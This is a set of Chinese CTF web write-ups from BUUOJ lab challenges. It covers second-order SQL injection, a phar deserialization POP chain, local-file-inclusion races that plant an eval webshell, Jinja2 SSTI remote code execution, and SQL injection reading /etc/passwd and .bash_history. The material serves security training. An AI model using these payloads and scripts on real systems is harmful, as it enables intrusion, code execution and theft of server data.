<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>订单查询</h1>
<form method="post">
<p>
<h3>姓名</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>删除订单</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

这几个文件源码都使用了关键词过滤,基本没有注入方法。然而在change.php中,只对phone和user_name进行了过滤,而对address只是使用addslashes()函数,可以注入
观察可以发现数据写入采用预编译无法利用;数据修改时user_name和phone字段进行了过滤,基本妹有利用价值,而address字段妹有进行过滤,但是进行了转义无法直接注入。



对change.php审计可以注意到会直接使用旧的address字段,显然可以在二次注入

先在注册时将构造的语句存入address字段,接着对对应账户修改时即可触发注入

方法一

注意sql语句,可以使用报错注入

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

使用updataxml报错注入,updataxml函数对字符串长度有限制,所以分段进行读取

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#


由于change执行sql语句中有错误就会exit,所以说我们执行了一个错误语句后,要重新换一个用户继续注入,不然数据不会刷新

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),29,60)),0x7e),1)#

方法二

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

payload
test

1
1',`address`=database()#

爆库

1
',`address`=(select(group_concat(schema_name))from(information_schema.schemata))#

爆表

1
address=',`address`=(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining'))#

爆字段

1
',`address`=(select(group_concat(column_name))from(information_schema.columns)where(table_name='FLAG_TABLE'))#


然后结果读这个 FLAG_COLUMN字段发现其值为空
爆值

1
',`address`=(select(group_concat(`FLAG_COLUMN`))from(`ctftraining`.`FLAG_TABLE`))#

发现flag在/flag.txt
payload

1
',`address`=(select(load_file("/flag.txt")))#

[SWPUCTF 2018]SimplePHP

打开题目,可以发现存在任意文件读取漏洞

通过输入file参数,把源码下载下来

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

通过base.php,可以发现flag存放在f1ag.php中,但是无法读取

那么这道题目的任务就是读取f1ag.php中的内容
在读源码的时候,发现在class.php中存在file_get_contents(),那么就是通过构造pop链,调用file_get_contents(),读取f1ag.php中的内容
在class.php中可以看到有一个提示

1
2
3
4
5
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}

这个可以给我们一个做题思路就是构造phar反序列化
入口函数是在file.php中

1
2
3
4
5
6
7
$show = new Show(); 
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}

发现这里是有file_exists这个函数,这个表中的函数可以触发phar反序列化

找到入口函数,下一步构造pop链条
漏洞的利用点在class.php

1
2
3
4
5
6
#class Test
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

但是这里仅仅是返回了f1ag.php中的值,但没有将其打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test; //这里使用echo函数,很明显就是想让我们利用这个点,test的值是str给的,str的值是我们传的name参数给的
}
}

那么思路就很明确了,通过new Cle4r($name),将值传给str,然后自动触发__destruct(),打印test。

下一步思考name应该传什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

从Test类中我们可以发现,__get($key)=>get($key)=>file_get($value)这样一条利用链,$key的值,是触发__get的时候传入的,$value的值是通过params($key)得到的,所以不妨令params=array(“source”=>“f1ag.php”),然后我们传入$key=”1”,即可
这里的$key需要是source
__get()是反序列化中的魔术方法,当访问类中的不可访问的属性或者是不存在的属性回自动触发__get()

下一步思考要怎么出发到get

1
2
3
4
5
6
7
8
9
10
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

令str[‘str’]=new Test(),那么在toString()就是new Test()->source,而source不是Test中的属性,所以就可以触发到get

上面的key之所以为source,是因为这里的new Test()->source调用的就是source不存在属性,这个source被当作参数传了过去

__toString :反序列化中的魔术方法,当类被当作字符串输出的时候会自动调用toString方法

pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array('source'=>'/var/www/html/f1ag.php');
}

}
$c = new C1e4r();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
echo(serialize($c));


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

phar反序列化

我们一般利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越难了,但是在Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar://伪协议读取phar文件时,会反序列化meta-data储存的信息。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

得到生成的phar,就要进行文件上传

通过阅读function.php,知道必须上传“gif,jpeg,jpg,png”结尾的文件,上传的文件被存放到了upload目录下
将生成的exp.phar,修改为exp.gif进行上传
然后访问upload找到我们上传文件的文件名

进行访问即可

[NPUCTF2020]ezinclude

打开网页,查看源代码,发现注释提示

1
md5($secret.$name)===$pass

get输入

1
/?name=1

变化name的值,会发现cookies的hash值在不断的对应变化,说明hash值和name的取值有关,但又不完全是name直接的MD5取值,所以根据提示md5($secret.$name)===$pass,我们的hash值很有可能是MD5(secret.$name),如果参数pass传入cookies里面的hash值,可能就会成功

输入url

1
?name=2&pass=616bcf60c47829c8e770b19fd45336d9

响应为

1
2
3
4
5
6
7
<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->

</html>

尝试访问flflflflag.php,每次都被重定向,要么禁用js,要么抓包
flflflflag.php

1
2
3
4
5
6
7
8
9
10
11
12

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

给了提示,那么应该就是文件包含了
先看看flflflflag.php源码
payload

1
?file=php://filter/convert.base64-encode/resource=flflflflag.php

flflflflag.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

用dirsearch扫描
扫描出一个dir.php,查看源码

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件tmp中的文件名,因此我们要想办法把文件存到tmp文件夹中

方法一:利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的strip_tags过滤器,可以让php执行的时候直接出线Segment Fault,这样php的垃圾回收机制就不会在继续执行,导致POST的文件会保存在系统的缓存目录下不会被清除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃推出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于一下php7版本,php5并不存在该崩溃

利用条件:

  • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
  • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
  • php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
  • 可以获取文件名
  • 源代码将GET参数进行文件包含


可以看到靶机的php版本符合利用条件
可以利用url

1
/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

利用上面的url,编写python脚本

1
2
3
4
5
6
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://b5b05d7f-1983-487a-acc8-459d6c6d711d.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行脚本后访问dir.php,得到tmp目录下我们上传的文件路径:/tmp/phpQ54QOd

发送请求

在phpinfo()中发现了flag,且system被禁用

方法二:利用session.upload_progress进行session文件包含

原理:利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码,因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。

session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=123456(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=123456,所以Session文件将会自动创建。

因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。
编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import io
import sys
import requests
import threading

host = 'http://b5b05d7f-1983-487a-acc8-459d6c6d711d.node5.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

在运行停止后,发送请求

同样在phpinfo中获得flag

或者可以改动一下,用如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import re
import sys
import requests
import threading

host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php'
sessid = 'yym68686'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('\rWaiting...', end="")
else:
print("\r" + re.search(r'flag{(.*?)}', response.text).group(0))
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

[RootersCTF2019]I_<3_Flask

打开题目,从题目名称以及主页面可知题目是由Flask搭建
第一思路应该是寻找Flask路由 ,dirsearch扫了一下发现没有源码泄露,常见的一些隐藏提示点都看了一下,发现没有什么提示
在这里就需要考虑一下参数爆破了,使用工具Arjun进行参数爆破

1
arjun -u http://2cdee52a-aa92-413f-b3e5-2c54654dfd8e.node5.buuoj.cn:81/ -c 100 -d 5


这里-d 5的作用是请求间隔,BUUOJ设置了防D,如果不加-d 5可能就会429然后导致爆破不出来,最后爆破出了参数name
在url后面加上?name=1测试一下

简单测试一下是否存在ssti,构造?name=4

可以看到4被直接执行了,判断一下发现是jinja2的模板,fuzz一下发现没有什么过滤,直接上RCE的payload

1
?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eva'+'l' in b.keys() %}       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat flag.txt").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

题目做完之后反过来再看看路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, render_template_string, request 

app = Flask(__name__)
app.secret_key = "fuk9dfuk5680fukbddbee2fuk"

@app.route('/', methods=['GET'])

def index():
name = 'Flask' + ' & ' + request.args.get("name", default="Flask")
//可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞
template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I &hearts; """ + name + """ </div> {% endblock %}"""
return render_template_string(template)

if __name__ == '__main__':
app.run(debug=False)

[HarekazeCTF2019]encode_and_encode

打开靶机,点击第三个超链接,得到源码
query.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

这里比较重要的代码测试一下

1
2
3
4
5
<?php
$a = file_get_contents("php://input");
echo "a = ".$a;
$b = json_decode($a);
print_r($b);

回到源码,意思很明白,我们要使用post方式传入格式为{“page”:”xxxx”},然后page的值传到了$content里面,然后需要绕过

1
2
3
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}

题目的关键地方是json_decode会将\uxxxx unicode编码进行转义,这样就可以绕过is_valid的检测
根据上面的测试代码再测试一下

最终的payload我们可以构造一个伪协议

1
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

[网鼎杯 2018]Comment

进入环境,点击发帖,发帖后发现login页面,发现提示了我们账号:zhangwei,密码:zhangwei(后三位没告诉),直接爆破,得到后三位为666
这靶机是真的慢啊!!!!!每次互动都要30s

登录后发帖,点击详情,发现可以留言,这里可能有xss(这种情况ctf很少)或者二次注入(因为页面有我们发帖的信息,说明我们发帖的内容从数据库里面拿出来了,所以可能有二次注入)
观察到comment.php?id=1,感觉参数id可以进行SQL注入,没用
这时候dirsearch扫一下发现有git泄露
用githacker拔下来

1
githacker --url http://cc08adf7-9f9d-46e7-9378-b43f7dcd2fce.node5.buuoj.cn:81/ --output ./back-future

发现有write_do.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

但似乎并不完全呢?
git log显示只有一个文件内容
这里使用git log –reflog 这样就显示的多了

我们需要的是commit e5b2a2443c2b6d395d06960123142bc91123148c

1
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

这时候再打开write_do.php发现内容变化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

这才是完整的代码
分析一下
关键代码

1
2
3
4
5
6
7
$category = addslashes($_POST['category']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
$category = mysql_fetch_array($result)['category'];

先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将它从数据库中拿出来了,所以存在二次注入
而且

1
2
3
4
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

这个语句是分行的,所以#,–+不能用了,要使用/**/多行注释
构造语句
在发帖页面写入

1
',content=(user()),/*


之后点开再次留言,内容为*/# 起到闭合注释的作用

我们可以用sql读文件

1
',content=(load_file("/etc/passwd")),/*

继续重复上面的步骤
得到

发现除了root用户之外,只有www这个用户在/home/www目录下用了/bin/bash
查看/home/www/.bash_history

  • .bash_history:保存了当前用户使用过的历史命令,方便查找
1
',content=(load_file("/home/www/.bash_history")),/*

得到

